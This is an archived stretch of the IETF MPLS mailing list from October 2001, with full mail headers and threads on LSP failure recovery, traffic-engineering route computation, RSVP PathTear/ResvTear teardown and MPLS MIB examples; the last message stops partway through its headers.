    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>If we 
    have no concern about traffic engineering, i think all the three methods you 
    listed are usable, depending on the network administrator or device 
    vendors.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>To be 
    honest, I have also some other confusions about explicit 
    routing:</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>1. 
    how does the ingress routers compute the optimised explicit routes through 
    the network?</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>2. To 
    compute an optimised route, a router need complete information of the 
    network. but every router including LERs and LSRs, has the complete 
    information about the whole network or the autonomous system, or just the 
    LERS have this whole information?</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>3. 
    how do the routers get the information about the whole network? it should be 
    a headache because the load of the network, maybe also the topology of the 
    network, is in highly dynamic change.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001>Thanks for every answer in 
    advance!!!</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001>-Hongwei</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> owner-mpls@UU.NET 
      [mailto:owner-mpls@UU.NET]<B>On Behalf Of </B>David Allan<BR><B>Sent:</B> 
      09 October 2001 18:39<BR><B>To:</B> Sachin Kalra; Naidu, Venkata; 
      'manis@futsoft.com'; mpls@uu.net<BR><B>Subject:</B> RE: LSP 
      Failure/Recovery<BR><BR></DIV></FONT>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>Sachin/Venkata:</SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>You're mixing protection switching, and re-route 
      scenarios.&nbsp;There are specific behaviors/state requirements depending 
      on the recovery strategy,</SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>&nbsp;&nbsp;&nbsp;&nbsp;- LSR 16 may tell the 
      ingress (revertive/non-revertive global repair), </SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell no-one 
      (local repair),&nbsp; </SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell EVERYONE 
      (simple re-route) when the link goes down/comes back 
      up.</SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001></SPAN></FONT>&nbsp;</DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>later</SPAN></FONT></DIV>
      <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
      class=260332117-09102001>Dave</SPAN></FONT></DIV>
      <DIV>&nbsp;</DIV></BLOCKQUOTE></DIV></FONT></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C150F7.E1ED6420--


From owner-mpls@UU.NET  Tue Oct  9 15:46:48 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12418
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 15:46:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkao22077;
	Tue, 9 Oct 2001 19:44:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkao28004
	for mpls-outgoing; Tue, 9 Oct 2001 19:44:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkao27988
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:44:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkao09707
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:43:40 GMT
Received: from dnsmx1pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQlkao19958
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:43:32 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id PAA21537
	for <mpls@UU.NET>; Tue, 9 Oct 2001 15:39:03 -0400 (EDT)
Subject: resvtear msg
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF598DC573.AF27AAF5-ON85256AE0.006B9B2F@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 9 Oct 2001 15:39:04 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/09/2001 03:39:05 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

If Ingress router sends out the pathtear msg to tear down the path and resv
state, does the egress suppose to send out the resvtear msg out once it
receive this pathtear msg?  I read the spec, I think the egress should not
send out the resvtear msg.

Can someone help me to confirm this?

Thanks,

Julia




From owner-mpls@UU.NET  Tue Oct  9 15:51:43 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12514
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 15:51:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkap09869;
	Tue, 9 Oct 2001 19:50:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkap28480
	for mpls-outgoing; Tue, 9 Oct 2001 19:49:20 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkap28473
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:49:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkap21704
	for <mpls@uu.net>; Tue, 9 Oct 2001 19:49:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkap08902
	for <mpls@uu.net>; Tue, 9 Oct 2001 19:49:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA07526 for <mpls@uu.net>; Tue, 9 Oct 2001 15:49:03 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA13543 for mpls@uu.net; Tue, 9 Oct 2001 15:49:03 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkap28413
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:47:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkap05503
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:46:21 GMT
Received: from ce-nfs-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlkap25974
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:46:13 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-179.cisco.com [10.19.238.180])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id MAA06572;
	Tue, 9 Oct 2001 12:40:30 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011009122726.02ae1b80@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 09 Oct 2001 12:40:27 -0700
To: "Hongwei" <hongwei.zhou@elec.qmul.ac.uk>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: RE: LSP Failure/Recovery
Cc: "David Allan" <dallan@nortelnetworks.com>, <mpls@UU.NET>
In-Reply-To: <MEEJLEKIFLLBNABPKDAOGEOBCGAA.hongwei.zhou@elec.qmul.ac.uk>
References: <3549C09B853DD5119B540002A52CDD3454B7EF@zcard0ka.ca.nortel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 07:28 PM 10/9/2001 +0100, Hongwei wrote:
>   
>Dave, 
>  
>If it is intended to implement traffic engineering with mpls, i think it will be rational to let the ingress router deal with rerouting task because it is the ingress router that computed the explicit route. if we allow LSR16 to do local rerouting, we may not achieve overall optimised network performance, that is, the network load may not be balanced the best. 

Jumping in, if I understand correct,  if LSR16 is a midpoint node for a TE tunnel, then if it does local rerouting, meaning it has some backup LSP via an alternate path to LSR17, that local re-routing imlies that from the ingress router's (headend) prospective, the TE tunnel is still up. LSR16 just put the traffic on a pre-signaled TE tunnel. That would be Fast re-route as per 
draft-swallow-rsvp-bypass-label

>  
>If we have no concern about traffic engineering, i think all the three methods you listed are usable, depending on the network administrator or device vendors. 
>  
>To be honest, I have also some other confusions about explicit routing:

With traffic engineering

>1. how does the ingress routers compute the optimised explicit routes through the network?

ingress router has a TE database which has the SPF view of the whole network + constraints (like Bandwidth, Link/Tunnel affinities). So TE database runs Constraint based SPF with reference to the constraints mentioned

>2. To compute an optimised route, a router need complete information of the network. but every router including LERs and LSRs, has the complete information about the whole network or the autonomous system, or just the LERS have this whole information?

currently the TE database would be limited to an AS or routing area/level

>3. how do the routers get the information about the whole network? it should be a headache because the load of the network, maybe also the topology of the network, is in highly dynamic change.


Constraint info. is distributed via IGP extensions
draft-ietf-isis-traffic
draft-katz-yeung-ospf-traffic

Hope that helps
Thanks

-Yousuf

>  
>Thanks for every answer in advance!!! 
>  
>-Hongwei 
>  
>-----Original Message----- 
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of David Allan 
>Sent: 09 October 2001 18:39 
>To: Sachin Kalra; Naidu, Venkata; 'manis@futsoft.com'; mpls@uu.net 
>Subject: RE: LSP Failure/Recovery
>
>Sachin/Venkata: 
>  
>You're mixing protection switching, and re-route scenarios. There are specific behaviors/state requirements depending on the recovery strategy, 
>    - LSR 16 may tell the ingress (revertive/non-revertive global repair),  
>    - LSR 16 may tell no-one (local repair),   
>    - LSR 16 may tell EVERYONE (simple re-route) when the link goes down/comes back up. 
>  
>later 
>Dave 
>  



From owner-mpls@UU.NET  Tue Oct  9 15:58:36 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12648
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 15:58:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkap14721;
	Tue, 9 Oct 2001 19:55:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkap28875
	for mpls-outgoing; Tue, 9 Oct 2001 19:55:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkap28870
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:55:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkap29950
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:53:03 GMT
Received: from c2.ciena.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.118.32.25])
	id QQlkap16300
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:53:15 GMT
Received: by c2.ciena.com (8.8.8+Sun/SMI-SVR4-8.0)
	id PAA10769; Tue, 9 Oct 2001 15:52:59 -0400 (EDT)
Received: from w2kmsdexg01(10.21.2.3) by c2.ciena.com via smap (V2.0)
	id xma010759; Tue, 9 Oct 01 15:52:57 -0400
Received: by W2KMSDEXG01.ciena.com with Internet Mail Service (5.5.2653.19)
	id <TSY0P08Z>; Tue, 9 Oct 2001 12:52:45 -0700
Message-ID: <1863277D226CDA42BA94C0BC6D6F3CEE492EE2@W2KMSDEXG01.ciena.com>
From: "Gopalan, Vinod" <VGopalan@ciena.com>
To: "'Hong Liao'" <hliao@telcordia.com>
Cc: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: RE: resvtear msg
Date: Tue, 9 Oct 2001 12:52:40 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

You're right. Egress should not send out a resvtear in response to a
pathtear.

But the ingress is required to send a pathtear in response to a resvtear to
complete a teardown.

- Vinod.

-----Original Message-----
From: Hong Liao [mailto:hliao@telcordia.com]
Sent: Tuesday, October 09, 2001 12:39 PM
To: mpls@UU.NET
Subject: resvtear msg


Hi,

If Ingress router sends out the pathtear msg to tear down the path and resv
state, does the egress suppose to send out the resvtear msg out once it
receive this pathtear msg?  I read the spec, I think the egress should not
send out the resvtear msg.

Can someone help me to confirm this?

Thanks,

Julia



From owner-mpls@UU.NET  Tue Oct  9 16:14:50 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12831
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:14:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaq20906;
	Tue, 9 Oct 2001 20:10:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaq18251
	for mpls-outgoing; Tue, 9 Oct 2001 20:09:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkaq18246
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:09:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkaq16069
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:08:55 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlkaq09823
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:08:47 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id QAA14589;
	Tue, 9 Oct 2001 16:08:45 -0400 (EDT)
Message-ID: <3BC35A0A.ED9E8874@vill.com>
Date: Tue, 09 Oct 2001 16:11:54 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Adrian Farrel <afarrel@movaz.com>
CC: mpls@UU.NET, Cheenu Srinivasan <cheenu@alphion.com>,
        Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Management Overview Draft
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com> <3BC3417D.D7AF748A@vill.com> <01c301c150f2$1729af00$681810ac@movaz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Tom,

I am referring to the examples in
sec.8 of TE-MIB
sec.8 of Bundling MIB
sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
sec.6 of FTN MIB
sec.8 of LMP MIB
sec.8 of LSR MIB
sec.11 of VPN MIB

I think just copying may not be sufficient, but as Adrian said, we may have to make
this
(appear!) as a one huge working example together.

My other suggestion which I missed was to include the GMPLS related MIBs and the
OSPF MIB.

Adrian,
As you said, such an example will be hugely useful, only if "timely" delivered. I
have no clue
about Tom's book, it may be a good reference for later use, but for now the
examples will help
the people who are running with his drafts.

I am not sure about the category of this draft. If it is Informational or
progressing to a BCP
then I think it may be the right place. Somebody can correct me if I am worng.

Regards,
Irfan Lateef

Thomas Nadeau wrote:

> >This was a much needed effort. Just one feedback.
> >You have examples in all the other draft MIBs. It will
> >be good if you can add those examples in this draft and
> >adjust the values of the attributes to show the linkages.
> >Just a thought.
>
>          Do you mean copy the examples out of the other
> drafts and put them in here as part of one large example?
>
>          --Tom

Adrian Farrel wrote:

> Irfan,
>
> The existing MIBs contain worked examples that include all of the
> cross-references between MIBs.
> It is generally not good practice to include this sort of material in two places
> and it would be an editorial nightmare.
>
> I can well believe that a full worked example of how to make all of the MIBs in
> a system hang together in detail would be hugely useful.  I don't believe,
> however, that this should live in an Internet Draft.  You may find this
> information in Tom's book when it is published (that'll be $10 please, Tom) or
> more likely get it as a tutorial from your software vendor.
>
> We will, however, look at beefing up the 'dependencies' sections to describe the
> abstract references between the MIBs to make it still clearer how they relate to
> each other.
>
> Regards,
> Adrian
> --
> Adrian Farrel
> Movaz Networks Inc.
> Tel: 703-847-1867
> afarrel@movaz.com
> ----- Original Message -----
> > Tom,
> >
> > This was a much needed effort. Just one feedback.
> > You have examples in all the other draft MIBs. It will
> > be good if you can add those examples in this draft and
> > adjust the values of the attributes to show the linkages.
> > Just a thought.
> > Regards,
> > Irfan Lateef
> >

--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Tue Oct  9 16:32:57 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13005
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:32:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkar22377;
	Tue, 9 Oct 2001 20:29:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkar20089
	for mpls-outgoing; Tue, 9 Oct 2001 20:28:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkar20077
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:28:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkar11630
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:28:01 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlkar28750
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:28:15 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA06468;
	Tue, 9 Oct 2001 16:22:08 -0400 (EDT)
Subject: Re: resvtear msg
To: "Adrian Farrel" <afarrel@movaz.com>
Cc: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF9F2B4EB7.D09716A7-ON85256AE0.006FD03C@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Tue, 9 Oct 2001 16:22:09 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/09/2001 04:22:09 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Adrian,

Thanks,

Julia



                                                                                                             
                    "Adrian                                                                                  
                    Farrel"              To:     "Hong Liao" <hliao@telcordia.com>                           
                    <afarrel@mova        cc:     (bcc: Hong Liao/Telcordia)                                  
                    z.com>               Subject:     Re: resvtear msg                                       
                                                                                                             
                    10/09/01                                                                                 
                    03:48 PM                                                                                 
                                                                                                             
                                                                                                             





Hi Julia,

Confirmed.

(However, there is an obvious race where the egress has already sent out
ResvTear and it crosses with the PathTear)

Regards,
Adrian
--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com
----- Original Message -----
From: "Hong Liao" <hliao@telcordia.com>
To: <mpls@UU.NET>
Sent: Tuesday, October 09, 2001 3:39 PM
Subject: resvtear msg


> Hi,
>
> If Ingress router sends out the pathtear msg to tear down the path and
resv
> state, does the egress suppose to send out the resvtear msg out once it
> receive this pathtear msg?  I read the spec, I think the egress should
not
> send out the resvtear msg.
>
> Can someone help me to confirm this?
>
> Thanks,
>
> Julia
>
>







From owner-mpls@UU.NET  Tue Oct  9 16:40:46 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13091
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:40:46 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkas11148;
	Tue, 9 Oct 2001 20:38:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkas21035
	for mpls-outgoing; Tue, 9 Oct 2001 20:37:43 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkas21014
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:37:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkas09562
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:37:02 GMT
Received: from host32.cedant.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host32.cedant.com [209.239.32.20])
	id QQlkas16251
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:37:16 GMT
Received: from 66.122.195.194 (localhost [127.0.0.1])
	by host32.cedant.com (8.10.2/8.10.2) with ESMTP id f99KaeW08561;
	Tue, 9 Oct 2001 16:36:50 -0400
To: "Arun M. Thomas" <AMammenT@yahoo.com>
From: Sukanta Ganguly <sganguly@opulentsystems.com>
Subject: RE: 
Reply-To: sganguly@opulentsystems.com
CC: "MPLS Spec List" <mpls@UU.NET>
Date: Tue, 9 Oct 2001 13:31:28 -0700
X-Sender: sganguly@opulentsystems.com
X-Originating-Host: 66.122.195.194 [66.122.195.194]; Tue, 9 Oct 2001 20:36:40 GMT
X-Mailer: WebMail Check v2.3.21 (2000-7-19)
X-Browser: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0), JavaScript: On
Message-ID: <jUsT.aNoTheR.mEsSaGe.iD.10026598008558@www.opulentsystems.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi,
  I see the "non-mpls router" definition from your point. I was just 
trying to lay out the possibilities and was not trying to defend 
or beat up on any one approach. I understand the problem about having 
a non-mpls island between two MPLS LSP's and the issues with loss 
of knowledge as far as the label linkages are concerned and I did 
mention that in my previous reply.
  Coming back to your definition of "mpls aware router", what would 
happen if the non-mpls complaint router detects an MPLS packet. I 
don't believe it has been defined any where, is that true?

SG
  

At Tuesday, 9 October 2001, "Arun M. Thomas" <AMammenT@yahoo.com> wrote:

>Just a comment....  As Eric mentioned, it seems to be a matter of
>definition.  In order for the tunneling idea to work, the router,
while it
>may not have an MPLS daemon running to handle label exchange, still 
needs to
>be capable of detecting MPLS labelled packets.  As soon as that 
is true, I
>don't really think it's valid to say the router is a non-mpls router.
>(That's my definition.... If what was meant originally by "non-mpls 
router"
>was simply that no handling of labels is ongoing, then all that's 
written
>below continues to be valid.
>
>-AMT
>
>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Hongwei
>Sent: Tuesday, October 09, 2001 8:58 AM
>To: sganguly@opulentsystems.com
>Cc: mpls@UU.NET
>Subject: RE:
>
>THX for discussion :).  Yes, tunnel may be another idea, but it 
will more
>complicate.  The mpls LERs should be policed to be aware of tunnels,
and if
>the LERs around the non-mpls island want to share mpls knowledge 
(such as
>labels and TTLs),  every LER has to know which LER across the island 
is the
>next hop. The non-mpls router is a bottleneck if it has to be routed
>through.
>
>--hongwei
>
>-----Original Message-----
>From: Sukanta Ganguly [mailto:sganguly@opulentsystems.com]
>Sent: 09 October 2001 15:57
>To: Hongwei
>Subject: RE:
>
>Depends on the vendor implemetation. The packet can either tunneled 
so that
>it retains its MPLS tag via a non-MPLS network or the MPLS tag(s) 
can be
>completely removed from the packet in which if the packet travels 
through a
>MPLS island further then new tags have to be inserted and new LSP's 
have to
>be used. In the latter case the sender's MPLS knowledge which as 
originally
>present in the packet is lost.
>
>SG
>









From owner-mpls@UU.NET  Tue Oct  9 16:43:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13273
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:43:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkas03519;
	Tue, 9 Oct 2001 20:35:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkas20775
	for mpls-outgoing; Tue, 9 Oct 2001 20:35:02 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkas20734
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:34:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkas02798
	for <mpls@uu.net>; Tue, 9 Oct 2001 20:34:05 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkas01669
	for <mpls@uu.net>; Tue, 9 Oct 2001 20:34:18 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA13354 for <mpls@uu.net>; Tue, 9 Oct 2001 16:34:02 -0400 (EDT)
